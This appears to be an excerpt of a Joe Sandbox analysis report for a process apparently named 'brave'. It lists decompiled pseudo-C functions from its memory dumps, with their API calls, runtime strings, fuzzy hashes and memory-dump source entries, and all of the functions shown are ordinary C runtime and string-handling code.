				signed long long _t19;

				_t19 =  *((intOrPtr*)(__rdx + 8));
				_t16 = _t19 + _t19;
				_t14 = __rcx + 0x10;
				_t18 = _t16 >> 1;
				 *__rcx = _t14;
				if (_t16 - 0xe > 0) goto 0x9f830300;
				if (_t18 == 1) goto 0x9f8302f0;
				if (_t18 != 0) goto 0x9f8302e0;
				 *(__rcx + 8) = _t18;
				 *((short*)(_t14 + _t19 * 2)) = 0;
				return 0;
			}

0x7ff69f83029a
0x7ff69f83029e
0x7ff69f8302a9
0x7ff69f8302ad
0x7ff69f8302b0
0x7ff69f8302ba
0x7ff69f8302c0
0x7ff69f8302c5
0x7ff69f8302c9
0x7ff69f8302cd
0x7ff69f8302db

Strings

basic_string::basic_string, xrefs: 00007FF69F830381, 00007FF69F8303D8
string::string, xrefs: 00007FF69F830428
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F830388, 00007FF69F8303DF, 00007FF69F83042F
basic_string::_M_create, xrefs: 00007FF69F830337

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 0-126128797
Opcode ID: fa530074e51c7f9f7c906e36678571559d185e73af13ed167796c0c752426d85
Instruction ID: 851b7126bf519f9bc6573f75d8fa0e56f92aaa66c81c0915044332c8280477de
Opcode Fuzzy Hash: fa530074e51c7f9f7c906e36678571559d185e73af13ed167796c0c752426d85
Instruction Fuzzy Hash: FE411572B15B46D4EB608F29D9404EC6370FB14FD8B964A72CA1C837A4EE7CE596D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F810640 Relevance: 7.6, APIs: 5, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F810640(void* __rax, intOrPtr* __rcx, void* __rdx) {
				void* _t4;
				void* _t20;
				intOrPtr* _t26;
				intOrPtr* _t27;

				_t24 = __rdx;
				_t20 = __rax;
				_t27 = __rcx;
				if (__rdx == 0) goto 0x9f81066f;
				E00007FF67FF69F817400(_t4, __rdx);
				E00007FF67FF69F8173B0(_t20, _t24);
				if (_t20 - _t20 > 0) goto 0x9f8106b0;
				_t26 =  *_t27;
				_t1 = _t26 + 3; // 0x3
				if (_t1 - 3 <= 0) goto 0x9f8106d1;
				if (_t26 == 0) goto 0x9f8106e4;
				r13d = 1;
				 *_t26 = r13d;
				if ( *_t26 != 0) goto 0x9f810708;
				if ( *((intOrPtr*)(_t26 + 4)) != 0) goto 0x9f8106f8;
				return 0;
			}

0x7ff69f810640
0x7ff69f810640
0x7ff69f810650
0x7ff69f810659
0x7ff69f81065b
0x7ff69f810665
0x7ff69f81066d
0x7ff69f81066f
0x7ff69f810673
0x7ff69f81067c
0x7ff69f810681
0x7ff69f810683
0x7ff69f81068c
0x7ff69f810692
0x7ff69f81069b
0x7ff69f8106aa

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: f49b37cc6554afe07983d2b0d8d35f3757fbd10da3a986622ae24d0176cd62df
Instruction ID: 4223c3e63465055d05e6fb37286919d44365a4996f6245c86c1b10d733bfa16d
Opcode Fuzzy Hash: f49b37cc6554afe07983d2b0d8d35f3757fbd10da3a986622ae24d0176cd62df
Instruction Fuzzy Hash: 9C41A422B2C25246FAF5AB259E4867B33E4EF40394F1646B5DD2DC63C0EE7CA885D740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8104E0 Relevance: 7.6, APIs: 5, Instructions: 102
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F8104E0(intOrPtr* __rcx) {
				intOrPtr* _t16;

				_t16 =  *((intOrPtr*)(__rcx));
				_t1 = _t16 + 3; // 0x3
				if (_t1 - 3 <= 0) goto 0x9f810540;
				if (_t16 == 0) goto 0x9f810550;
				 *_t16 = 1;
				if ( *_t16 != 0) goto 0x9f810560;
				if ( *((intOrPtr*)(_t16 + 4)) != 0) goto 0x9f810520;
				return 0;
			}

0x7ff69f8104e9
0x7ff69f8104ec
0x7ff69f8104f5
0x7ff69f8104fa
0x7ff69f810503
0x7ff69f810509
0x7ff69f810512
0x7ff69f81051f

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF69F810520

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a892f5a888edd9dfb3e980655216f5831920c2c6f9fa8653408e139a634474d4
Instruction ID: 17cb30fa498c128794cc8b310511a204f41574274ab9e4294bf454dc58e1ef8e
Opcode Fuzzy Hash: a892f5a888edd9dfb3e980655216f5831920c2c6f9fa8653408e139a634474d4
Instruction Fuzzy Hash: C231A732F1D21286FBB59B149E497AB33A5EF40395F5646B4DE1CC6280EE3CD881D340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8152D0 Relevance: 7.6, APIs: 5, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00007FF67FF69F8152D0(void* __ecx, void* __rax, long long __rdx) {
				void* _t15;
				void* _t18;
				void* _t20;
				signed long long _t25;

				_t18 = __rax;
				_t15 = __ecx;
				r12d = GetLastError();
				E00007FF67FF69F812D40(__ecx, __rdx);
				_t1 = _t18 + 0x68; // 0x68
				_t20 = _t18;
				E00007FF67FF69F818830(_t1, __rdx);
				if ( *((intOrPtr*)(_t20 + 0x48)) - _t15 <= 0) goto 0x9f815340;
				 *((long long*)( *((intOrPtr*)(_t20 + 0x50)) + _t25 * 8)) = __rdx;
				 *((char*)( *((intOrPtr*)(_t20 + 0x58)) + _t25)) = 1;
				E00007FF67FF69F818870(_t1);
				SetLastError(??);
				return 0;
			}

0x7ff69f8152d0
0x7ff69f8152e0
0x7ff69f8152eb
0x7ff69f8152ee
0x7ff69f8152f3
0x7ff69f8152f7
0x7ff69f8152fd
0x7ff69f815305
0x7ff69f81530b
0x7ff69f815316
0x7ff69f81531a
0x7ff69f815322
0x7ff69f81533a

APIs

GetLastError.KERNEL32 ref: 00007FF69F8152E5

Part of subcall function 00007FF69F812D40: TlsGetValue.KERNEL32 ref: 00007FF69F812DA0

SetLastError.KERNEL32 ref: 00007FF69F815322
realloc.MSVCRT(00000000,?,?,00007FF69F8014F6,00007FF69F8102FB,000001455CD95BD0,00000000,00007FFA26C83CA0,00007FF69F8032FA), ref: 00007FF69F815353
realloc.MSVCRT(00000000,?,?,00007FF69F8014F6,00007FF69F8102FB,000001455CD95BD0,00000000,00007FFA26C83CA0,00007FF69F8032FA), ref: 00007FF69F815367
memset.MSVCRT ref: 00007FF69F81539D

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: ErrorLastrealloc$Valuememset
String ID:
API String ID: 2591390167-0
Opcode ID: c1310bef0b37995c8512101a0dfd18a475ef539f0a296ca77da5c8e920a0cdac
Instruction ID: 78c70d5f52d338933db217754a92ebc49f20745ea6cf73ab9e582f3c8971cf0b
Opcode Fuzzy Hash: c1310bef0b37995c8512101a0dfd18a475ef539f0a296ca77da5c8e920a0cdac
Instruction Fuzzy Hash: 7121D022B2564189EF68DF3A99015BD33A5FF49B94F460171DE1D8B391EE3CE886D380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F818880 Relevance: 7.6, APIs: 5, Instructions: 57COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF69F818898
ReleaseSemaphore.KERNEL32 ref: 00007FF69F8188C6
LeaveCriticalSection.KERNEL32 ref: 00007FF69F8188D3
LeaveCriticalSection.KERNEL32 ref: 00007FF69F8188F3
LeaveCriticalSection.KERNEL32 ref: 00007FF69F818918

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CriticalSection$Leave$EnterReleaseSemaphore
String ID:
API String ID: 2813224205-0
Opcode ID: 50ea73615dfd6b47d2567a6e8e39e4969aa7ea6ce91bc3410475d5b7992722e5
Instruction ID: 5360cafac252b9d90ee19ce822386492abd1cd6bd93b3416764062f99cb7e546
Opcode Fuzzy Hash: 50ea73615dfd6b47d2567a6e8e39e4969aa7ea6ce91bc3410475d5b7992722e5
Instruction Fuzzy Hash: 7901F523F0521AC2EB658F1A7C96276A394FF997B2F854575CD1D82340DE3C98C38300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80F160 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 00007FF69F80F1AF
EnterCriticalSection.KERNEL32 ref: 00007FF69F80F1CA
LeaveCriticalSection.KERNEL32 ref: 00007FF69F80F1E9

Strings

!dso || dso == &__dso_handle, xrefs: 00007FF69F80F199
C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c, xrefs: 00007FF69F80F192

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeavecalloc
String ID: !dso || dso == &__dso_handle$C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c
API String ID: 876395260-4180103562
Opcode ID: 6df07e8e7846e7046eb75ebaa7f4656fd6ebd82937729c11de18241f8b04cf4c
Instruction ID: a9ec23378f34e8449d1b1ada3ce1d7db856158cd6ae2fd9b08ffc9cf89244b0c
Opcode Fuzzy Hash: 6df07e8e7846e7046eb75ebaa7f4656fd6ebd82937729c11de18241f8b04cf4c
Instruction Fuzzy Hash: F6013561B19A0799FF628B55F9401B523A4EF58B90F8A40B4C90CC7395EF6DE986C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F819EC0 Relevance: 7.5, APIs: 5, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F819EC0(void* __rcx) {

				if (__rcx != 0) goto 0x9f819ed8;
				return 0;
			}

0x7ff69f819ecb
0x7ff69f819ed4

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF69F819ED8
OpenProcess.KERNEL32 ref: 00007FF69F819EEF
CloseHandle.KERNEL32 ref: 00007FF69F819EFD

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: Process$CloseCurrentHandleOpen
String ID:
API String ID: 2750122171-0
Opcode ID: 0481b6e7934421b3d5d1405471e27f862e5ab29bd4ffea2d44222b750cc16042
Instruction ID: 633ef9a9cfce0f5733f53f1ba7b02ca53ed2bba8c406e28b979a27bc6c0fc959
Opcode Fuzzy Hash: 0481b6e7934421b3d5d1405471e27f862e5ab29bd4ffea2d44222b750cc16042
Instruction Fuzzy Hash: 18F05E21B19A07C6FFB85F71959413A23F4EF48716F0A5EB4C92EC52D0EE7D64889210

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80EB03 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00007FF67FF69F80EB03() {
				signed int _t8;
				void* _t12;
				void* _t17;
				signed int** _t20;

				asm("stc");
				 *((intOrPtr*)(_t17 + 0x41909090)) =  *((intOrPtr*)(_t17 + 0x41909090)) + _t12;
				_t8 =  *( *_t20);
				if ((_t8 & 0x20ffffff) == 0x20474343) goto 0x9f80ebf0;
				if (_t8 - 0xc0000096 > 0) goto 0x9f80ebd7;
				if (_t8 - 0xc000008b <= 0) goto 0x9f80eb88;
				if (_t8 + 0x3fffff73 - 9 > 0) goto 0x9f80eb78;
				goto __rax;
			}

0x7ff69f80eb03
0x7ff69f80eb0b
0x7ff69f80eb19
0x7ff69f80eb2c
0x7ff69f80eb37
0x7ff69f80eb42
0x7ff69f80eb4c
0x7ff69f80eb5c

APIs

signal.MSVCRT ref: 00007FF69F80EBAA

Strings

CCG , xrefs: 00007FF69F80EB26

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: 46604ae227c626b1be511848d822de1d4529c5c54d514a26e591d6aa839660e6
Instruction ID: d86f947bbb2c2a1e573d9a734a10155eb7e58d611f396ea043e9d945669f169d
Opcode Fuzzy Hash: 46604ae227c626b1be511848d822de1d4529c5c54d514a26e591d6aa839660e6
Instruction Fuzzy Hash: AB212661F0E50201FAF8423846A13FA1361DF46364FAF4BB6C56ED2FE0DD9DA881A301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F813D00 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 48
threadCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00007FF67FF69F813D00(void* __edi, long long __rcx, void* __rdx, void* _a8, long long _a32, long long _a40, intOrPtr _a96) {
				intOrPtr _t9;
				long _t13;
				void* _t14;
				intOrPtr _t17;
				intOrPtr* _t22;
				long long _t24;

				_t9 =  *0x9fac13e0; // 0x0
				_a8 = __rcx;
				if (_t9 == 0) goto 0x9f813d9c;
				_t22 = _a8;
				if (_t22 != 0) goto 0x9f813d50;
				r8d = GetCurrentThreadId();
				_pop(_t24);
				goto 0x9f821680;
				asm("o16 nop [eax+eax]");
				E00007FF67FF69F813190(__edi, _a96);
				E00007FF67FF69F813190(__edi, _a96);
				_t17 =  *_t22;
				_t13 = GetCurrentThreadId();
				_t14 = E00007FF67FF69F813190(_t17, _a96);
				_a40 = _t24;
				r9d = _t17;
				r8d = _t13;
				_a32 =  *((intOrPtr*)(_t22 + 0x28));
				0x9f821680();
				return _t14;
			}

0x7ff69f813d08
0x7ff69f813d0e
0x7ff69f813d18
0x7ff69f813d1e
0x7ff69f813d26
0x7ff69f813d3a
0x7ff69f813d41
0x7ff69f813d45
0x7ff69f813d4a
0x7ff69f813d55
0x7ff69f813d63
0x7ff69f813d68
0x7ff69f813d6a
0x7ff69f813d77
0x7ff69f813d7c
0x7ff69f813d81
0x7ff69f813d84
0x7ff69f813d87
0x7ff69f813d96
0x7ff69f813da4

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF69F813D28
GetCurrentThreadId.KERNEL32 ref: 00007FF69F813D6A

Strings

T%p %d V=%0X H=%p %s, xrefs: 00007FF69F813D8F
T%p %d %s, xrefs: 00007FF69F813D33

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CurrentThread
String ID: T%p %d %s$T%p %d V=%0X H=%p %s
API String ID: 2882836952-2059990036
Opcode ID: fb28173ffc3efe5c2c797d80106deafb06b5f9291af923cbf097269bcea0b66e
Instruction ID: a9eb41b404becaa34657ab2fc8513faf632fbfe85f28cbad9d2197152c7a36cb
Opcode Fuzzy Hash: fb28173ffc3efe5c2c797d80106deafb06b5f9291af923cbf097269bcea0b66e
Instruction Fuzzy Hash: 56016932B08A0986EA619B56ED044AA73B5FF88BD0F4A4671EE4CC3764EE3CE445D740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80F210 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00007FF69F80F24C
calloc.MSVCRT ref: 00007FF69F80F25B

Strings

!dso || dso == &__dso_handle, xrefs: 00007FF69F80F245
C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c, xrefs: 00007FF69F80F23E

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: _assertcalloc
String ID: !dso || dso == &__dso_handle$C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c
API String ID: 615528074-4180103562
Opcode ID: 3ff3c1c08b56fb9e230e04f1b49c40747e94c7a2db62898a806f7c776ec9269e
Instruction ID: b4b5b360cc021f1f775197b66b2a09701e0a24462ee04cf5b289e4f34bc34414
Opcode Fuzzy Hash: 3ff3c1c08b56fb9e230e04f1b49c40747e94c7a2db62898a806f7c776ec9269e
Instruction Fuzzy Hash: B0019E61B1960689FBA28B55F9402F923A0EF84BC0FCA8570D90C87785EE2CE982D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80E1F0 Relevance: 6.3, APIs: 5, Instructions: 94
stringCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E00007FF67FF69F80E1F0(void* __rax, void* __rcx, void* __rdx, intOrPtr* __r8, intOrPtr* __r9) {
				intOrPtr _v48;
				long long _v56;
				long long _v64;
				char _v72;
				void* _t10;
				void* _t14;
				void* _t15;
				intOrPtr* _t28;
				intOrPtr* _t36;

				_t36 = __r8;
				_t28 = __r9;
				if (__rcx == 0) goto 0x9f80e2e0;
				if (__rdx == 0) goto 0x9f80e21b;
				if (__r8 == 0) goto 0x9f80e2e0;
				_v72 = 0;
				_v64 = 0;
				_v56 = 0;
				_v48 = 0;
				if (E00007FF67FF69F80D760(_t10, _t15, __rax, __rcx, 0x7ff69f8051f0,  &_v72) == 0) goto 0x9f80e320;
				if (_v48 == 0) goto 0x9f80e2c0;
				if (_v72 == 0) goto 0x9f80e33d;
				if (__rdx == 0) goto 0x9f80e310;
				strlen(??);
				if (__rax -  *_t36 >= 0) goto 0x9f80e300;
				_t14 = memcpy(??, ??, ??);
				free(??);
				if (_t28 == 0) goto 0x9f80e2ad;
				 *_t28 = 0;
				return _t14;
			}

0x7ff69f80e1fe
0x7ff69f80e201
0x7ff69f80e207
0x7ff69f80e210
0x7ff69f80e215
0x7ff69f80e227
0x7ff69f80e230
0x7ff69f80e239
0x7ff69f80e242
0x7ff69f80e251
0x7ff69f80e262
0x7ff69f80e26c
